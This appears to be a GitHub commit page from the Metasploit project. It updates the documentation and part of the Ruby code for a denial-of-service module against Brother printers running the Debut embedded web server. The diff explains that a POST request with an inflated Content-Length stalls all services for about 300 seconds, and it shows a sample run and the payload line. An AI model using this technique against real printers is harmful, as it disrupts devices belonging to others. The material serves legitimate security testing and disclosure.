Skip to content

Commit 4be0e7f

Browse files
committed
final fixes for brother debut dos
1 parent fb75cd4 commit 4be0e7f

File tree

2 files changed

+16
-10
lines changed

2 files changed

+16
-10
lines changed

documentation/modules/auxiliary/dos/http/brother_debut_dos.md

Lines changed: 12 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,11 @@
11
## Vulnerable Application
22

3-
Version <= 1.20 of the Debut embedded httpd web server are vulnerable, which are found on Brother printers.
3+
Versions <= 1.20 of the Debut embedded httpd web server in use by Brother printers are vulnerable to denial of service
4+
via a crafted HTTP request. This module will render the printer unresponsive from requests for ~300 seconds.
5+
This is thought to be caused by a single threaded web server which
6+
has a ~300 second timeout value. By sending a request with a content-length larger than the actual data, the server waits
7+
to receive the rest of the data, which doesn't happen until the timeout occurs. This DoS is for all services, not just http.
8+
49
This module was successfully tested against a Brother HL-L2380DW series.
510

611
An nmap version scan of the vulnerable service should look similar to:
@@ -19,12 +24,11 @@
1924
### Brother HL-L2380DW with Debut embedded 1.20
2025

2126
```
22-
[*] Processing brother.rb for ERB directives.
23-
resource (brother.rb)> use auxiliary/dos/http/brother_debut_dos
24-
resource (brother.rb)> set rhost 192.168.2.126
25-
rhost => 192.168.2.126
26-
resource (brother.rb)> exploit
27-
[*] Sending malformed POST request at 2017-12-29 13:46:34. Server will recover about 2017-12-29 13:51:34
28-
[+] 192.168.2.126:80 - Connection Refused: Success!
27+
resource (brother.rc)> use auxiliary/dos/http/brother_debut_dos
28+
resource (brother.rc)> set rhost 1.1.1.1
29+
rhost => 1.1.1.1
30+
resource (brother.rc)> exploit
31+
[*] Sending malformed POST request at 2018-01-24 20:45:52.
32+
[+] 1.1.1.1:80 - Connection Refused: Success! Server will recover about 2018-01-24 20:50:52
2933
[*] Auxiliary module execution completed
3034
```

modules/auxiliary/dos/http/brother_debut_dos.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,8 @@ def is_alive?
3636
},10)
3737

3838
return !res.nil?
39+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
40+
print_error("Couldn't connect to #{peer}")
3941
end
4042

4143
def dos
@@ -59,8 +61,8 @@ def dos
5961
'Content-Length' => data.length + rand(10) + 10 #42
6062
}
6163
})
62-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
63-
print_error("Couldn't connect to #{peer}")
64+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
65+
print_error("Couldn't connect to #{peer}")
6466
end
6567

6668
def run

0 commit comments

Comments
 (0)